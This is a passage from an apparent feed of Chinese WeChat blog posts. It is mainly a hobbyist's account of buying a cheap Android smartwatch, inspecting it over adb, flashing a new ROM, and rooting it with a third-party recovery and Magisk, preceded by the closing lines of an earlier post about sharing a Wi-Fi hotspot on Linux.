0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">Nice，现在我们已经完成第一步啦，<strong>在linxu上共享了一个热点</strong>，下一篇文章我们将要介绍抓取图片、HTTP敏感信息等等。</span></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;background-color: rgb(255, 255, 255);font-size: 20px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a class="weapp_text_link" data-miniprogram-appid="wx1740bc9f8024a638" data-miniprogram-path="/pages/article/index?articleId=1706" data-miniprogram-nickname="留言墙plus" href="" data-miniprogram-type="text" data-miniprogram-servicetype="0" style="color: var(--weui-LINK);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" href="">点我留言</a></span></strong></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages __bg_gif" data-ratio="1" data-s="300,640" data-type="gif" data-w="640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 617px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e10582e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZEibagnCovHXK1NtqhC9Ctg8cyuuiaOWQ2tFjHlVyd2SQrsHtQaicibTNSoWOjZg1Ge07VtNtFCC2OPQ%2F640%3Fwx_fmt%3Dgif"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.037096774193548385" data-s="300,640" data-type="png" data-w="620" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 593px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;">广告时间<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.3008" data-s="300,640" data-type="png" data-w="1250" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 593px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=59f2e605&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbG3Vr3MoFCJzlV2ee6he3Kc2R5BP1qHmib7xMNl4Ob7G88dDwURFHp0aSfpZsaoYcVAUB8AswWw1Q%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247486554">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6354356c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486554%26idx%3D1%26sn%3D230088994b318cb213e41f23a7093982%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 25 Aug 2020 22:57:00 +0800</pubDate>
    </item>
    <item>
      <title>关于一次智能手表的探索</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486330&amp;idx=1&amp;sn=5d8fe1274dedd5dd2d5f6c22450da4a7</link>
      <description>最近网上智能手表非常的火，于是在闲鱼上淘了一个30块的智能手表，经过一番折腾后。。</description>
      <content:encoded><![CDATA[<p>
<span>Anonymous</span> <span>2020-07-05 20:30</span> <span style="display: inline-block;"></span>
</p>

<p>最近网上智能手表非常的火，于是在闲鱼上淘了一个30块的智能手表，经过一番折腾后。。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=13d073c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usC7Lzh594Z9v1vOHznm04886XIGM1HFXL1PPsyIH1PZIzweMfSYib1yg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-ratio="0.44796828543111994" data-s="300,640" style="" data-type="png" data-w="2018" src="https://wechat2rss.xlab.app/img-proxy/?k=c40a62df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usxUarXYjkZ4UkuXlbXp1xbvHKbvPC0RAPXNwK9oPz8ew5VPAWAayEIA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;">最近网上智能手表非常的火，于是在闲鱼上淘了一个30块的智能手表，经过检测这个手表是HELVEI型号的</span><br/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;"><br/></span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="text-decoration: underline;"><strong><span style="text-decoration: underline;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">配置如下：</span></strong></span><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);"></span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">RAM 0.5G</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">ROM 1G</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">电池 300毫安</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">安卓版本5.1</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);"><br/></span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">有</span><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);text-decoration: underline;">心率检测，步数检测，消息通知，表盘选择，自带扬声器震动，但是没有nfc功能</span><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">，30块（邮费15，555555）还要什么自行车，真的是血赚</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.41304347826086957" data-s="300,640" style="" data-type="png" data-w="2208" src="https://wechat2rss.xlab.app/img-proxy/?k=48fffdf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usCpfAwJoKk2ClwzTc8DTvATGJKMFbTEdb1OibOOAUhOaYj23BGTib9TJg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">由于没有线只能手动去接<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.011472275334608" data-s="300,640" style="width: 450px;height: 455px;" data-type="png" data-w="1046" src="https://wechat2rss.xlab.app/img-proxy/?k=6cd4ea2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usH8khVkPUnBV0QHOPBw0MR8r9ZLB5tmItY8kTxLS54gvZoKFx1cXa6w%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">最后不行又买了一个数据线，太难了，表的周围是金属的，接了就短路</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">开机</span><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">显示效果</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.1487179487179486" data-s="300,640" style="width: 451px;height: 518px;" data-type="png" data-w="780" src="https://wechat2rss.xlab.app/img-proxy/?k=a83989f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usUwWy9ZRV69KMCIbgkgIx9lfPicvgFg0sotlPfoj2W0VNbvTKKWdRmtA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">还能切换表盘，表单下个软件还能自定义，该有的功能都有</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">因为是安卓系统，那真的是太友好了，直接adb大法</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">用AID64看看系统</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6900763358778625" data-s="300,640" style="" data-type="png" data-w="1310" src="https://wechat2rss.xlab.app/img-proxy/?k=a70f39ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usEOFDX49ibjyLXJs9SlGIcykdnga9rbyuljqBrvg7x5ianu1MDtTSQg4w%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">安装个哔哩哔哩，看看罗老师的视频，不亦乐乎<br/></span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;text-align: center;"><img class="rich_pages" data-ratio="1.1172248803827751" data-s="300,640" style="width: 443px;height: 495px;" data-type="png" data-w="836" src="https://wechat2rss.xlab.app/img-proxy/?k=5004cd87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8us7annOXmB0YaM9wDVHt7ep1ZicOEsEQJrSlkC8uPWMkSKcHic0IArZ5Tg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">仅仅是这样还不够，这个自带的系统太鸡肋了，我看了网上的大佬操作</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">进行刷机一开始的系统是fitwear的，刷了一个Xwatch的0042包</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6691176470588235" data-s="300,640" style="" data-type="png" data-w="1904" src="https://wechat2rss.xlab.app/img-proxy/?k=ba967fc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usUXzf7Hiafv21M2JrbLrG3M3e0a9e3NjrpACwbuRiaI7TUiaicXmXYpUHrA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">经过漫长的等待开机，成功开机，哈哈哈哈哈哈</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.1352941176470588" data-s="300,640" style="width: 409px;height: 464px;" data-type="png" data-w="680" src="https://wechat2rss.xlab.app/img-proxy/?k=a12be2ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8uszIVIpVYJncr9AyN0CxqHT7ibPmRRDyyBoD62RY3m64ibibUzekvCob5Kg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">但是又一想，这能不能root</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">于是我用秋之盒工具箱先进入fastboot模式解锁oem</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3641509433962264" data-s="300,640" style="" data-type="png" data-w="1060" src="https://wechat2rss.xlab.app/img-proxy/?k=544d9d1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8us4tlmmumWR5FpX2iaiaaTia3NOP2VhncY4W7emLic8YFgsu58gQQquM1icMg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">然后线刷第三方REC，再刷面具</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6973451327433628" data-s="300,640" style="" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=4f1703bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8us3mv1r7hmt9kZAcWSQiaUEss7Ssx2shBTsYRwibLAn3ruhdwBuWEdRGbQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">经过一系列折腾终于刷进了第三方REC</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7934508816120907" data-s="300,640" style="" data-type="png" data-w="794" src="https://wechat2rss.xlab.app/img-proxy/?k=1e256bfa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usdRwL2OGj4ursPKEBxDW46EtwLAgCI7t8h1tS4q3aztZWC43TwdBnKg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">接下来刷进去面具</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6675392670157068" data-s="300,640" style="" data-type="png" data-w="764" src="https://wechat2rss.xlab.app/img-proxy/?k=7c928867&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usnnYrmlmyPOlEYK44OWLExkicG40avTu2q9uQHFsCSjiaFbFQNRoGUrnQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">成功刷入，哈哈哈哈哈</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;text-align: center;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);"><img class="rich_pages" data-ratio="1.0377777777777777" data-s="300,640" style="text-align: center;white-space: normal;width: 467px;height: 485px;" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=f571a1c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvibx4GulJ0UJbBZZM0X8usEXJTejvSGs3q8fZHtHj7pv0mKg9NY3ozic1FmuRKpmK4OOcvGnGMKzg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);">这个手表有很好的玩机体检，可以安装手表上的生态软件，也可以自定义开发，这不仅是个手表，它是一个娱乐工具</span></p><p style="font-size: 14px;font-family: DengXian;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);white-space: normal;text-align: center;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: start;color: rgb(0, 0, 0);"><img class="rich_pages js_darkmode__61" data-ratio="1.110958904109589" data-s="300,640" data-type="jpeg" data-w="1460" style="text-align: start;white-space: normal;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);box-sizing: border-box !important;word-wrap: break-word !important;overflow-wrap: break-word !important;visibility: visible !important;width: 264px !important;" 